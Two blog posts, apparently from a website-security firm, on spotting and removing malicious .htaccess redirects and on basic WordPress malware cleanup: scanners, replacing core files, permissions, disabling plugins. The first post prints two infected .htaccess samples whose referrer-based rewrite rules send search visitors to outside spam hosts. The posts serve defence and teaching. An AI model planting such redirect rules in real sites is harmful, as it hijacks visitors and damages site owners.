This post was put together in collaboration with one of our Support Engineers, Bruno Borges. Be sure to take a minute and say thanks for the info, he loves twitter (when its up).

---

It seems every day we’re combating malicious redirections. Often, they are simple, but everyday they are evolving, and in some instances become more challenging to detect.

What is perhaps the most frustrating is figuring out which vector is being exploited. It’d be easy to say it’s out-of-date software, but there are so many variations it’s difficult to say. What we can do is provide you some advise if you’re suffering from such a redirection.

What’s important to note about redirections is that they are often generated from your .htaccess file. That being said, they can be obfuscated, encoded, and embedded across a number of your core files. In more serious cases they could be getting generated from a payload in your database as well.

Either way, they are extremely annoying and can cause you to get blacklisted by Google quicker than you can say “Supercalifragilisticexpialidocious.”

Identifying the Infection

---

Identifying the infection is often easy.

The minute you get a complaint from a user, the first thing you want to do is open up your handy dandy FTP client or terminal, and navigate to the directory that houses your website.

If in terminal be sure to run it so that you see all the files in the directory:

# ls -la ~/public_html/somesite.com

This is important as the a option will make sure you see all the files in the directory. That “.” will often cause the file to be shown as hidden and htaccess files are prefixed with the “.” as a prefix. Funny how that works.

Note: If you’re working Filezilla or another FTP client, be sure you have enabled it such that the client see all hidden files. In Filezilla you do this by clicking on Server in the Menu options and selecting Force showing hidden files (see image below).

Once you see the file, it’s just a matter of opening it to see what might be going on.

Here are samples of things you might see if your site is being redirected:

#c3284d#
<IfModule mod_rewrite.c&>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(abacho|abizdirectory|about|acoon|alexana|allesklar|
allpages|allthesites|alltheuk|alltheweb|altavista|america|amfibi|aol|apollo7|
aport|arcor|ask|atsearch|baidu|bellnet|bestireland|bhanvad|bing|blog|bluewin|
botw|brainysearch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|
clickz|clush|confex|cyber-content|daffodil\.(.*)
RewriteRule ^(.*)$ http://mytresca.com/counter.php [R=301,L]
</IfModule&>
#/c3284d#

-or-

<IfModule mod_rewrite.c>
RewriteEngine on
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*(msn|live|altavista|excite|ask|aol|google|mail|bing|yahoo).*$ [NC]
RewriteCond %{HTTP_COOKIE} !^.*cookie-visited-name.*$ [NC]
RewriteRule .* http://sweepstakesandcontestsnow.com/nl-in.php?d=1 [CO=cookie-visited-name:1:%{HTTP_HOST}:10000,R,L]
</IfModule>

In both these instances you should pay special attention to a things:

First, is the use of the following directive:

RewriteCond %{HTTP_REFERER}

This bad boy is telling the server to respond based on the referrers it identifies. So, in this case, the first version was saying send the user to the bad site if it comes from any of these:

(abacho|abizdirectory|about|acoon|alexana|allesklar|allpages|allthesites|
alltheuk|alltheweb|altavista|america|amfibi|aol|apollo7|aport|arcor|ask|
atsearch|baidu|bellnet|bestireland|bhanvad|bing|blog|bluewin|botw|
brainysearch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|
clickz|clush|confex|cyber-content|daffodil\.

The second one was saying, if it comes from any of these send them to the other bad site:

msn|live|altavista|excite|ask|aol|google|mail|bing|yahoo

Second, the RewriteRule directive tells the server where to send the client if their referrer does meet the criteria:

The first scenario sends the user here:

http://mytresca.com/counter.php

and the second sends them here:

http://sweepstakesandcontestsnow.com/nl-in.php?d=1

Understand that it doesn’t have to be one for one with what I’ve provided here, but in more instances than not, a redirect is often coming from an infected .htaccess file. And if it is, you’re likely to see two directives being used:

RewirteCond %(HTTP_REFERER)

and

RewriteRule.

You don’t have to be a developer to know something is up if you see both those being used in unison. It’s not always the case though, so don’t go removing things just because. A good sign is usually if you see the RewriteRule pointing to site other than your own, such as the case above.

Get Rid Of It

---

Before you go crazy on your file, create a backup, last thing any one wants is for you to delete or leave unnecessary characters and crash your site. Next thing we know all hell is breaking loose because your site is down.

In terminal, creating a backup, it’s easy:

# cp .htacess .htaccess.myawesomebackup

If you’re in some kind of file explorer, copy and paste often does the trick.

Fortunately, doing away with the infection is easier than slapping butter on a piece bread. You want to highlight the mess and push down on that awesome delete button. BOOM, it’s gone. Don’t forget to hit save though.

If you’re doing this in Filezilla, don’t forget to hit the button that commits your change, this is often triggered after you hit the save button. Don’t do what many do and delete the infection, refresh the browser, but forget to commit the change to the server. You’re bound to find yourself chasing your own tail.

You do want to be careful though, depending on your server, leaving unnecessary spaces or characters could cause your entire site to go down. To avoid this, it’s often best to delete everything between:

<IfModule mod_rewrite.c>

and

</IfModule>

and leave those directives in place. If you’re one of those fanatics about your code looking tip top, then go ahead and remove it. This approach can obviously be argued two ways from Sunday, but the point is, get rid of the junk. It’s your prerogative on how you decide to maintain your code.

A few tidbits to take home with you:

---

Many reading this might argue that this is only removing the infection, not the cause, they’d be right. Redirections can be complex animals, here are a couple of things to keep in mind:

• Web redirects are not always this simple, there are instances that whatever created the infection has actually duplicated the infection by creating a .htaccess in every one of your directories
• Depending on your host and the payload, you might find that you clear all the .htaccess file infections but the site is still redirecting. In these instances, it’s best to look outside the web directory. GoDaddy installs are notorious for this.
• This has only covered what to do if you suspect you are infected. It doesn’t talk to the cause of the infection, nor does it address reinfection issues.
• If you suspect you are infected you can always use our free scanner SiteCheck to help narrow down the issue
• If clearing all your .htaccess files doesn’t clear the issue then you’re likely dealing with encoded redirection and engaging professional help is in your interest

---

If you have any questions or you blow up your site just let us know at info@sucuri.net.

We often write posts that give you advice and recommendations around how to harden your websites, and have only recently begun to give advice on ways to navigate your backend and remove infections via terminal. But what about all the basics?

That’s what I want to cover in this post. All those things that you should know when trying to remove web malware from your site.

Cleaning Basics

---

When working to clean your site there are a number of things you should know, I’ll wrap it into 4 key things:

• Use Live Scanners
• Default WP File Structure
• File Permissions
• Disabling Plugins

1. Use Live Scanners

Contrary to popular belief, utilizing web-based scanners are a necessity in this day and age. False positives are an acceptable risk in today’s fight against web-malware, they are much better than false-negatives. In other words, missing a possible infection.

So of course, there aren’t many live scanners out there on the market, none that are truly free and willingly give you a report without asking for a registration or payment of some kind:

• Sucuri SiteCheck

Disclaimer: The scanner is not 100%, no AV type product should ever boast 100% certainty as it’s not possible in this domain. If it were, there wouldn’t be any competitors or service providers.

2. Default WP File Structure

What most don’t understand is how WordPress is organized by default, it’s an important distinction to make. In every install, there are core directories and files.

This is what a clean install looks like:

One option you have is to do your own integrity checkS by comparing your base install to the core install. As you might imagine, there is a way to do this via terminal, here is an example:

$ diff -r /Documents/WordPress/wp-includes /public_html/happysite.com/wp-includes

Why important?

It’s important because in more cases than most folks realize, you’ll want to replace your core install.

The reasoning is simple, from what we see, in a lot of infections once access is gained to the environment, backdoor payloads are pushed into the install directories. This allows the crackers to gain access to your environment directly. If you don’t have the ability to effectively scan every directory for known or new backdoors, then it’s good practice to replace the two core directories wp-admin and wp-includes.

Please note the emphasis on replace, not update. This is important because an update will simply overwrite the existing files, to replace the backdoor in a file, it will not purge the directory. This means if a backdoor resides in a non-root file the update won’t clear the issue.

Hint: SEO Spam is notorious for doing this.

3. File Permissions

The ever important file permissions. The WordPress.org Codex offers some very good advice on specific permissions for WordPress installs. You can find a good article on the Codex: Changing File Permissions

The biggest take-away is simple:

• Directories: 755
• Files: 644

There is a simple way to apply the changes via terminal:

Directories:
find [path to install] -type d -exec chmod 755 {} \;

Files:
Find [path to install] -type f -exec chmod 644 {} \;

But what about the non-terminal types?

No problem. Using your favorite FTP client you should be able to do it easily. In this instance I’ll show you in FileZilla. While I wouldn’t save the credentials in the client, I’d recommend this client for most trying to work in FTP.

What I particularly like about it is you can use this client across the three most common platforms (e.g., MAC, Windows, Linux)

To change the permissions for all directories it’s easy, simply log into your server and click on the directory for your web-files, it can be: www, publich_html, htdocs, httpdocs, etc…

Once at the directory, right-click and click on properties.

On the next screen you can type in 755 where it says Numeric value.

Be sure to also click Recurse into subdirectories and select Apply to directories only.

This will apply the 755 permission to all directories within the web directory

The good news is that the file permissions are just as easy. Simply follow the same steps as above, this time though you’ll type 644 and select Apply to files only.

As you can see, there is no real secret here. Simply follow the recommendations you are given.

Another important note to make is that in Filezilla you can easily see the permission of your directories and files by looking to the far right of the directory or file, see below:

4. Disable Plugins

Here is another good tip. When using a scanner, if you continue to struggle identifying the location of the infection, one very common place to look in is the plugins directory.

What most people don’t realize is that you have the option to disable the plugins directory. Don’t be fooled by the use of “disable”, it simply means you can’t use the plugins. One very easy way to do this is rename the directory:

Example: plugins – > plugins.backup

This will kill all your plugins rendering them useless to your website. The point of doing this is to see if the infection is tied to the plugins. If it is, you’ll see that the live scanners will show clean when you rescan. If this is the case, another very good trick is to narrow down the infection further by disabling one plugin at a time.

Yes, this works and it’s very easy to do for novices.

Note: No, renaming is not going to hurt your site. When you remove the name and reset to its default the site will be fully functional again.

If you disable plugins and the infection is still present then you know it’s one of the following: core files, themes files, or database. If you followed the steps in section 2 then you know it’s in either the themes or the database.

---

This post is not meant to be a technical overview of how to remove website malware, instead it’s meant to help you diagnose the location of infections which in turn help you locate and remove the infection. It’s fundamentally a different approach, but it’s intended to be so. Believe it or not, the most novice of users would be able to use these techniques to quickly narrow down infections.

If you have any questions please contact us at info@sucuri.net.